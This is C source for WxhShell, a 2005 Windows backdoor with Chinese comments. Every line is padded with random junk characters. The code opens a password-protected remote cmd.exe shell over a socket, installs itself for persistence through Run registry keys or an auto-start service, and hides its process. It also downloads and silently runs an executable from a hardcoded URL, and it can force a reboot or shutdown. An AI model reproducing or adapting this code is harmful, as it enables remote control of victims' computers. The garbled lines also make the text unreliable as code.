    if(Boot(SHUTDOWN)) y@2vY[)3s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SXT@& @E  
    else { (1saof *p%  
    closesocket(wsh); llTQ\7zP  
    ExitThread(0); i} NkHEK  
    } DjevX7Q  
    break; B` t6H  
    } 02]8|B(E90  
  // 获取shell iMOPD}`IX  
  case 's': { >S-N|uR6  
    CmdShell(wsh); sp=7Kh?|>  
    closesocket(wsh); df21t^0/  
    ExitThread(0); 2Q`PUXj  
    break; dd?x5|/#  
  } (IO \+  
  // 退出 di)noQXkB-  
  case 'x': { cAsSN.HFS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }QApeZd+q  
    CloseIt(wsh); )Bm^aMVl3  
    break; ?h>%Ix  
    } z Et6  
  // 离开 ^=-*L 3f  
  case 'q': { ~,M;+T}[r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5sA>O2Rt>  
    closesocket(wsh); Z7KB?1{G  
    WSACleanup(); K\Y6 cj  
    exit(1); FzsS~C$wH{  
    break; .LGkr@P  
        } qI4R`P"  
  } e5"-4udCn  
  } LzEE]i  
F_M~!]<na  
  // 提示信息 1VPN#Q!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BHRrXC\  
} Li<266#A!  
  } B9;,A;E};  
*fuGVA  
  return; E%J7jA4  
} no\}aTx  
0F;(_2V-  
// shell模块句柄 ?XTg%U  
int CmdShell(SOCKET sock) 5  a*'N~  
{ "#eNFCo7k  
STARTUPINFO si; ,{mf+ 3&$,  
ZeroMemory(&si,sizeof(si)); gp|7{}Q{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T$8$9D_u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v,x%^gv0  
PROCESS_INFORMATION ProcessInfo; 83 ^,'Z  
char cmdline[]="cmd"; WHD/s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o"+ &^  
  return 0; me}Gb a  
} y8(?:#ZC  
&0<R:K?>N  
// 自身启动模式 /xm} ?t0U  
int StartFromService(void) 'm p{O  
{ !^"!fuoNC  
typedef struct ;(iUY/ h[h  
{ ?PxYS%D_L  
  DWORD ExitStatus; (Ss77~W7  
  DWORD PebBaseAddress; [XU{)l  
  DWORD AffinityMask; BQfAen]  
  DWORD BasePriority; a518N*]j  
  ULONG UniqueProcessId; .Mft+,"  
  ULONG InheritedFromUniqueProcessId; IM&7h! l"|  
}   PROCESS_BASIC_INFORMATION; OaCj3d>  
i\R\bv[9  
PROCNTQSIP NtQueryInformationProcess; Qc =lf$  
2Z9gOd<M~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6_}){ZR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >zx50e)  
]B.,7  
  HANDLE             hProcess; UeiJhH,u   
  PROCESS_BASIC_INFORMATION pbi; t:j07 ,1~  
_(s|Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hw.demD  
  if(NULL == hInst ) return 0; 1X_!%Z  
O}iKPY8K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mt6uW+t/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3/|{>7]1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wNZS6JF.d  
:bF2b..XOu  
  if (!NtQueryInformationProcess) return 0; ]( 6vG$\  
o6yZ@R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5}^08Xl  
  if(!hProcess) return 0; i@?<]n  
M #Ru I%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O NzdCgY  
-EIMh^  
  CloseHandle(hProcess); .?)oiPW#  
7Z:l;%]K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <yaw9k+P  
if(hProcess==NULL) return 0; r\- k/0  
#Lt+6sa]2@  
HMODULE hMod; 1UWgOCc  
char procName[255]; $W]guG  
unsigned long cbNeeded; ] Lft^,7  
>l*9DaZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >N"PLSY1  
~l(tl[  
  CloseHandle(hProcess); @MH]s [{o\  
wq`Kyhk  
if(strstr(procName,"services")) return 1; // 以服务启动 3$f5][+U  
5Kxk9{\8  
  return 0; // 注册表启动 nk.E q[08  
} Mp}NUQHE  
m&c(N  
// 主模块 ON! G{=7  
int StartWxhshell(LPSTR lpCmdLine) &8L\FAY0%9  
{ ~TIZumGB  
  SOCKET wsl; 5!fW&OiY  
BOOL val=TRUE; q)y8Bv|  
  int port=0; Pu*UZcXY  
  struct sockaddr_in door; m)w- mc  
m*,[1oeG&  
  if(wscfg.ws_autoins) Install(); \`# 0,pLr  
]a~LA7VHO  
port=atoi(lpCmdLine); rs+37   
?saVk7Z[|5  
if(port<=0) port=wscfg.ws_port; ixpG[8s  
^C T}i'  
  WSADATA data; 'mR+W{r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W4Q]<<6&  
nP5fh_/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EOC"a}Cq-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T+!kRigN~P  
  door.sin_family = AF_INET; L@GD$F=<0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {m GWMv  
  door.sin_port = htons(port); JFdzA  
Okc*)crw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pdqh'+5  
closesocket(wsl); E v#aMK  
return 1; _gh7_P^H=d  
} (P8oXb+%  
NE"fyX`  
  if(listen(wsl,2) == INVALID_SOCKET) { ^123.Ru|t  
closesocket(wsl); 4F!d V;"Z(  
return 1; b*fflJ  
} E~^'w.1  
  Wxhshell(wsl); DcHMiiVM  
  WSACleanup(); TaG-^bX8B  
q5PYc.E([  
return 0; Eq{TZV  
"-%H</  
}  qI@_  
dW68lVWq_  
// 以NT服务方式启动 lX3h'h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eH{ 9w8~  
{ -^DB?j+  
DWORD   status = 0; (=9&"UH  
  DWORD   specificError = 0xfffffff; L4b4X  
Y2EN!{YU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0 HmRl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'o L8Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VWa(@ A  
  serviceStatus.dwWin32ExitCode     = 0; g=Di2j{A  
  serviceStatus.dwServiceSpecificExitCode = 0; UEUTu}4y  
  serviceStatus.dwCheckPoint       = 0; mZyTo/\0  
  serviceStatus.dwWaitHint       = 0; )VC) }  
:F&WlU$L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L%FL{G  
  if (hServiceStatusHandle==0) return; {QID@  
ZtVa*xl  
status = GetLastError(); \BL9}5y  
  if (status!=NO_ERROR) e^yB9b  
{ @V)WJ {  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e=2D^ G#qE  
    serviceStatus.dwCheckPoint       = 0; D 3PF(Wx  
    serviceStatus.dwWaitHint       = 0; I?QKd@  
    serviceStatus.dwWin32ExitCode     = status; k&b>-QP6  
    serviceStatus.dwServiceSpecificExitCode = specificError; 00i9yC8@6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zlfm})+G  
    return; @_{"ho  
  } #82B`y<<y/  
}wV rmDh \  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q)*0G*  
  serviceStatus.dwCheckPoint       = 0; '' 6  
  serviceStatus.dwWaitHint       = 0; cc[w%jlA#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `f'P  
}  <CFu r  
*q RQN+%  
// 处理NT服务事件,比如:启动、停止 {Fj`'0Xu;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =u(fP" |{  
{ &kG<LGXP#  
switch(fdwControl) iQKfx#kt  
{ }49?Z3  
case SERVICE_CONTROL_STOP: [# :k3aFz  
  serviceStatus.dwWin32ExitCode = 0; QUt!fF@t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hXCDlCO  
  serviceStatus.dwCheckPoint   = 0; r$KDNa$/a  
  serviceStatus.dwWaitHint     = 0; mS0W@#|K  
  { Oe$C5KA>LW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Ix^Rm9c  
  } Sz =z TPnO  
  return; qVfOf\x.e  
case SERVICE_CONTROL_PAUSE: g0l- n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "k.<"pf  
  break; vQ;Z 0_  
case SERVICE_CONTROL_CONTINUE: !>M: G:K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5lT lZRH1  
  break; O?@AnkOhn  
case SERVICE_CONTROL_INTERROGATE: l{<@[foc  
  break; ^Oo%`(D?  
}; `W5f'RU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BwR)--75  
} +7=3[K  
Z',pQ{rD  
// 标准应用程序主函数 0VPa=AW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xu3qX"  
{ r'&VH]m  
\Q]7Hw<  
// 获取操作系统版本 G=DRz F  
OsIsNt=GetOsVer(); 9BP-Iet  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T5ol2  
q:fkF^>  
  // 从命令行安装 *t63c.S  
  if(strpbrk(lpCmdLine,"iI")) Install(); e7-U0rrE  
A," u~6Bn  
  // 下载执行文件 u-D%: lz85  
if(wscfg.ws_downexe) { zhS\|tI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Gx!Y 4Q}-  
  WinExec(wscfg.ws_filenam,SW_HIDE); WmeV[iI  
} kIyif7  
L+&$/1h]  
if(!OsIsNt) { )KG.:BO<  
// 如果时win9x,隐藏进程并且设置为注册表启动 +d<o2n4!  
HideProc(); <d8 Yk>R  
StartWxhshell(lpCmdLine); 'vBuQinn  
} m)V%l0  
else Y f1?3 (0O  
  if(StartFromService()) r3'0{Nn+  
  // 以服务方式启动 nwf(`=TC  
  StartServiceCtrlDispatcher(DispatchTable); b:2# 3;)  
else `KB;3L  
  // 普通方式启动 U<K)'l6#2n  
  StartWxhshell(lpCmdLine); b-,4< H8m  
RGsgT^  
return 0; `f S$@{YI_  
} y2cYRHN[X}  
) vn {?Ulj  
,?S1e#  
-V7dSi  
=========================================== UyENzK<%u  
3s;^p,9 Y  
Qhy!:\&1  
"Doz~R\\  
6/6M.p  
{OIB/  
" sFt"2TVr3  
9eBD)tnw  
#include <stdio.h> 0~4Ww=#  
#include <string.h> #x*\dL  
#include <windows.h> 5X&Y~w,poU  
#include <winsock2.h> u.;l=tzz  
#include <winsvc.h> i]9C"Kw$L  
#include <urlmon.h> m~04I~8vk  
>e^bq/'  
#pragma comment (lib, "Ws2_32.lib") 2ca#@??R  
#pragma comment (lib, "urlmon.lib") ~[<C6{  
C cPOK2  
#define MAX_USER   100 // 最大客户端连接数 |P@N}P@  
#define BUF_SOCK   200 // sock buffer zG{P5@:.R  
#define KEY_BUFF   255 // 输入 buffer :CLWmMC_  
-^+fZBU;  
#define REBOOT     0   // 重启 9fm9xTL  
#define SHUTDOWN   1   // 关机 -U*J5Q  
_iu~vU)r  
#define DEF_PORT   5000 // 监听端口 't6l@ _x  
X!_&%^L'  
#define REG_LEN     16   // 注册表键长度 <2N{oK.  
#define SVC_LEN     80   // NT服务名长度 p]0`rf!|  
C#-HWoSi  
// 从dll定义API {xx}xib3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NOg/rDs'{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1w~PHH`~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4%2APvLW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z%S$~^=b  
+5S>"KAUt0  
// wxhshell配置信息 r0!')?#Z  
struct WSCFG { yts@cd`$  
  int ws_port;         // 监听端口 :s6aFiz  
  char ws_passstr[REG_LEN]; // 口令 LN~mKoW  
  int ws_autoins;       // 安装标记, 1=yes 0=no (<YBvpt4>  
  char ws_regname[REG_LEN]; // 注册表键名 "\i H/  
  char ws_svcname[REG_LEN]; // 服务名 /5)*epF+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9dq"x[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BBM[Fy37!}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r1}^\C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n&Ckfo_D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u$ yXuFj/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f-3CDUQ`  
Tf~eH!~0  
}; |Fe[RGi+8  
FY^2 Y  
// default Wxhshell configuration LD ]-IX&L  
struct WSCFG wscfg={DEF_PORT, b3EGtC}^  
    "xuhuanlingzhe", 1^LdYO?g'  
    1, gu3iaM$W  
    "Wxhshell", ele@xl  
    "Wxhshell", u8T@W}FX  
            "WxhShell Service", r[4n2Mys  
    "Wrsky Windows CmdShell Service", +!0K]$VZs  
    "Please Input Your Password: ", j1KNgAo<4  
  1, ''YqxJ fb  
  "http://www.wrsky.com/wxhshell.exe", ]o8]b7-  
  "Wxhshell.exe" 0W(mx-[H/  
    }; [a04( 2g  
iI{L>  
// 消息定义模块 V_:`K$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H0;Iv#S!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5X20/+aT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /QY F|%7!  
char *msg_ws_ext="\n\rExit."; N$6e KJ]  
char *msg_ws_end="\n\rQuit."; H"FK(N\  
char *msg_ws_boot="\n\rReboot..."; =..Bh8P71!  
char *msg_ws_poff="\n\rShutdown..."; o5bp~.m<  
char *msg_ws_down="\n\rSave to "; bZNqv-5 4h  
g%&E~V/g$  
char *msg_ws_err="\n\rErr!"; -NXxxK  
char *msg_ws_ok="\n\rOK!"; >G:Q/3jh  
[3jJQ3O,  
char ExeFile[MAX_PATH]; `Gqe]ZE#"  
int nUser = 0; tw_o?9  
HANDLE handles[MAX_USER]; jc&k-d>=G  
int OsIsNt; umIGI  
V4+ |D2   
SERVICE_STATUS       serviceStatus; 3[ xdls  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XVqOiv)  
nF@**,C Q  
// 函数声明 D5,]E`jwu  
int Install(void); hZx&j{  
int Uninstall(void); I8Aq8XBw  
int DownloadFile(char *sURL, SOCKET wsh); /W/e%.  
int Boot(int flag); @@AL@.*  
void HideProc(void); W:_-I4 q~  
int GetOsVer(void); C|V7ZL>W  
int Wxhshell(SOCKET wsl); M7TLQqaF  
void TalkWithClient(void *cs); aUaeK(x:H  
int CmdShell(SOCKET sock); (xHmucmwp  
int StartFromService(void); ib=)N)l  
int StartWxhshell(LPSTR lpCmdLine); 1,-C*T}nR  
h[W`P%xZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jE*{^+n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4>d4g\Z0L  
Q;]JVT1  
// 数据结构和表定义 UzxL" `^7  
SERVICE_TABLE_ENTRY DispatchTable[] = /65YHXg,  
{ |J-X3`^\H  
{wscfg.ws_svcname, NTServiceMain}, J$#T_4 )  
{NULL, NULL} ;|q<t  
}; o{PG& }K  
k+J%o%* <  
// 自我安装 MgXZN{  
int Install(void) (/A.,8Ad  
{ 2:38CdkYp  
  char svExeFile[MAX_PATH]; dKzG,/1W[m  
  HKEY key; wlXs/\es  
  strcpy(svExeFile,ExeFile); "t0^4=c+7  
1SExl U  
// 如果是win9x系统,修改注册表设为自启动 bf_ > ?F^  
if(!OsIsNt) { 2FMmANH0ev  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $|~ <6A{y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z[#8F&QV!m  
  RegCloseKey(key); K2xB%m1LK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JWNN5#=fQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %Psg53N  
  RegCloseKey(key); L1SX2F8  
  return 0; [+\He/M6  
    } k=s^-Eiu  
  } "S;4hO  
} SY,ns*>1F  
else { Xh8U}w<k6  
1S?~ c25=h  
// 如果是NT以上系统,安装为系统服务 HZ9>4G3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &{Z+p(3Gj  
if (schSCManager!=0) YuhfPa  
{ z4YDngf=4  
  SC_HANDLE schService = CreateService iHv+I~/  
  ( && ]ix3  
  schSCManager, OLx;j+p  
  wscfg.ws_svcname, x// uF  
  wscfg.ws_svcdisp, "09v6Tx  
  SERVICE_ALL_ACCESS, |>ztx}\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n/v.U,f&l@  
  SERVICE_AUTO_START, bPTtA;u  
  SERVICE_ERROR_NORMAL, [[[C`H@  
  svExeFile, X5o*8Bg4M  
  NULL, @fA{;@N  
  NULL, z?DCQ  
  NULL, LuZlGm  
  NULL, Tgpu9V6  
  NULL H^'%$F?Ss  
  ); Z` kVyuQ  
  if (schService!=0) X+ Sqw5rH  
  { eBa#Z1Z  
  CloseServiceHandle(schService); p-j6H  
  CloseServiceHandle(schSCManager); P].Eb7I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ICz:>4M-dn  
  strcat(svExeFile,wscfg.ws_svcname); @G;9eh0$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3/gR}\=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;8<HB1 &,  
  RegCloseKey(key); %oqKpD+  
  return 0; \dQc!)&C9  
    } Fug4u?-n  
  } fln[Q2zl  
  CloseServiceHandle(schSCManager); @q!T,({kx  
} o~'p&f  
} ;HCK iHC  
r], %:imGr  
return 1; m=n79]b:N  
} 8GBKFNR 8  
v#gXXO[P1  
// 自我卸载 J#Q>dC7  
int Uninstall(void) 1>[#./@  
{ jW7ffb `O  
  HKEY key; I Tl>HlS  
vJs6nVbK  
if(!OsIsNt) { r?u4[ Oe#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @_t=0Rc  
  RegDeleteValue(key,wscfg.ws_regname); [ PN2^  
  RegCloseKey(key); 3XB`|\:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?#a&eW  
  RegDeleteValue(key,wscfg.ws_regname); _<]0hC  
  RegCloseKey(key); *A`ZcO=   
  return 0; _N:$|O#  
  } &3IkC(yD  
} NL:dyV }  
} %AJ9fs4/  
else { WI&A+1CK-5  
'0 ~?zP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <o9i;[+H-  
if (schSCManager!=0) s#<fj#S  
{ )-"<19eu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MB:[: nX  
  if (schService!=0) ?f9M59(l  
  { CT_tJ  
  if(DeleteService(schService)!=0) { N"<.v6Z  
  CloseServiceHandle(schService); vn*K\,  
  CloseServiceHandle(schSCManager); ?7pn%_S  
  return 0; }fk3a9j9u  
  } Y5 ;a  
  CloseServiceHandle(schService); $Tv~ *|a  
  } PSv 5tQhm  
  CloseServiceHandle(schSCManager); P c&dU1  
} Wm"q8-<<  
} y+Nw>\|S  
b&@]f2 /  
return 1; Uc_ }="  
} !"<rlB,J  
F,)+9/S&  
// 从指定url下载文件 Fs~*-R$  
int DownloadFile(char *sURL, SOCKET wsh) b3_P??yp  
{ '\d ldg#P  
  HRESULT hr; UAz^P6iQ`~  
char seps[]= "/"; uWClT):  
char *token; byE0Z vDM  
char *file; z&n2JpLY7  
char myURL[MAX_PATH]; z &P1C,n)  
char myFILE[MAX_PATH]; LCS.C(n,  
49>b]f,Vc  
strcpy(myURL,sURL); q9_AL8_  
  token=strtok(myURL,seps); bh5P98s  
  while(token!=NULL) t90M]EAV  
  { |*w)]2B l  
    file=token; ChUE,)  
  token=strtok(NULL,seps); ks phO-  
  } *-fd$l.  
l=" X|t   
GetCurrentDirectory(MAX_PATH,myFILE); 'MX|=K!C  
strcat(myFILE, "\\"); xv2c8g~vD  
strcat(myFILE, file); 3QZm *. /"  
  send(wsh,myFILE,strlen(myFILE),0); (x/:j*`K  
send(wsh,"...",3,0); a;KdkykG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mzM95yQ^Z  
  if(hr==S_OK) WY>$.e  
return 0; Z2g<"M  
else $X-PjQb1Bb  
return 1; B%u[gNZ  
oDD"h,Z  
} EUI*:JU-  
(||qFu9a  
// 系统电源模块 ~vpF|4Zn5  
int Boot(int flag) QPLWRZu@  
{ 6~ y'  
  HANDLE hToken; vOCaru?~h  
  TOKEN_PRIVILEGES tkp; @+zWLq!1pB  
f^QC4hf0  
  if(OsIsNt) { ECM#J28D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t {1 [Ip  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vf>d{F^rv  
    tkp.PrivilegeCount = 1; 05HCr"k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6J JA"] `  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rxol7"2l  
if(flag==REBOOT) { g8'8"9:xC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,KM%/;1Dm  
  return 0; (ot56`,k  
} z]%@r 7  
else { bG"FN/vg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 60%fva  
  return 0; 7;'UC','  
} ^Lfwoy7R  
  } ziO(`"v  
  else { OOIp)=4  
if(flag==REBOOT) { :+QNN<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [3S17tTc3  
  return 0; WhH60/`  
} ?xMTO  
else { 3j$, L(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =Oh$pZRymu  
  return 0; }D)eS |B  
} bvZD@F`2  
} ("}Hs[  
: Gi8Jo  
return 1; n2AoEbd  
} _a"| :kX  
jZidT9[g  
// win9x进程隐藏模块 t xnH~;(  
void HideProc(void) yRyRH%p)  
{ `l?MmIJ  
G] tT=X[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }lPWA/  
  if ( hKernel != NULL ) 7g{JE^u  
  { .L#4#IO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LR#.xFQ+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O(0a l#Fvj  
    FreeLibrary(hKernel); x7l}u`N4  
  } +J|LfXgB  
W}D[9zo/  
return; a8[%-eW,  
} ;{iTS sb  
gV':Xe  
// 获取操作系统版本 l1 08.ao  
int GetOsVer(void) ^56D)A=  
{ [.$%ti*!  
  OSVERSIONINFO winfo; T=V{3v@zs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;VCFDE{K=  
  GetVersionEx(&winfo); :nnch?J_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @*op5qVw  
  return 1; %(? ;`  
  else E:\#Ur2  
  return 0; T72Z<h|<  
} &V &beq4)p  
9 s2z=^  
// 客户端句柄模块 }Sh@.3*  
int Wxhshell(SOCKET wsl) @{<^rLt  
{ TK> ~)hc}  
  SOCKET wsh; 4T)`%Oo<}  
  struct sockaddr_in client; $V<fJpA  
  DWORD myID; | z}VP-L  
t?weD{O  
  while(nUser<MAX_USER) XNvlx4  
{ KV{  
  int nSize=sizeof(client); 5?j#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rO1N@kd/  
  if(wsh==INVALID_SOCKET) return 1;  mSFA i  
!,7)ZW?*8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ve"M8-{oKk  
if(handles[nUser]==0) 3ox|Mz<aZX  
  closesocket(wsh); daQJ{Cd,w  
else X1u\si%.4S  
  nUser++; r0'a-Mk;  
  } !*"#*)S.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1[RI 07g7*  
jR3mV  
  return 0; [-)BI|S:  
} iN L>TVUM  
-7I %^u  
// 关闭 socket a63Ud<_a7  
void CloseIt(SOCKET wsh) shY8h   
{ mLHl]xs4  
closesocket(wsh); (I1^nrDP.  
nUser--; ICWHEot  
ExitThread(0); [F27i#'I]  
} RS{E|  
5S7ATr(*  
// 客户端请求句柄 \ tU[,3  
void TalkWithClient(void *cs) ?Bd6<F -G  
{ `7 Nk;  
/EVXkf0  
  SOCKET wsh=(SOCKET)cs; jyRz53  
  char pwd[SVC_LEN]; HNX/#?3  
  char cmd[KEY_BUFF]; Ht~YSQ~:y  
char chr[1]; ,YrPwdaTB  
int i,j; 8/|1FI  
J>0RN/38o  
  while (nUser < MAX_USER) { qi1#s,  
"(;t`,F  
if(wscfg.ws_passstr) { cMAY8$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -wnBdL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C^ ~[b o  
  //ZeroMemory(pwd,KEY_BUFF); %cq8%RT  
      i=0; Q3LScpp  
  while(i<SVC_LEN) { A^7}:[s20  
~:UAL}b{\~  
  // 设置超时 XiyL563gh  
  fd_set FdRead; B,{Q[  
  struct timeval TimeOut; ~H626vT37  
  FD_ZERO(&FdRead); 4m_CPe  
  FD_SET(wsh,&FdRead); };~I#X  
  TimeOut.tv_sec=8; %wmbFj}  
  TimeOut.tv_usec=0; J['?ud}@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZX40-6#O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {MmK:C  
TmgSV#G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2TX.%%Ze  
  pwd=chr[0]; N6/;p]|  
  if(chr[0]==0xd || chr[0]==0xa) { R lmeZy4.  
  pwd=0; ^cI RP  
  break; l]geQl:7`r  
  } 9Ui|8e~=  
  i++; G -RE  
    } (!diPwcv  
8G_KbS  
  // 如果是非法用户,关闭 socket S(5&%}QFQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ap.L=vn  
} >L88`  
0d #jiG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KA]5tVQA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J]$]zD  
x@,B))WlGr  
while(1) { Ku]<$uo  
`&o>7a;  
  ZeroMemory(cmd,KEY_BUFF); #9@UzfZAwT  
 u~j&g  
      // 自动支持客户端 telnet标准   ,gn**E  
  j=0; 9rM6kLD  
  while(j<KEY_BUFF) { 'FmnlC1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n~v*  
  cmd[j]=chr[0]; #w]@yL]|is  
  if(chr[0]==0xa || chr[0]==0xd) { fTV}IP  
  cmd[j]=0; pq<2:F:Kl  
  break; };nOG;  
  } vI+X9C?  
  j++; CJ[^Fi?CH  
    } rn%q*_3-o  
vS+E`[  
  // 下载文件 hG lRf_{  
  if(strstr(cmd,"http://")) { 9i/VvW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v L!?4k  
  if(DownloadFile(cmd,wsh)) C!S( !Z,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e:zuP.R  
  else J nf@u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q b7ur;  
  } _t;Mi/\P  
  else { Y@R9+ 7!  
KPMId`kf  
    switch(cmd[0]) { .3< sv  
  %t J@)  
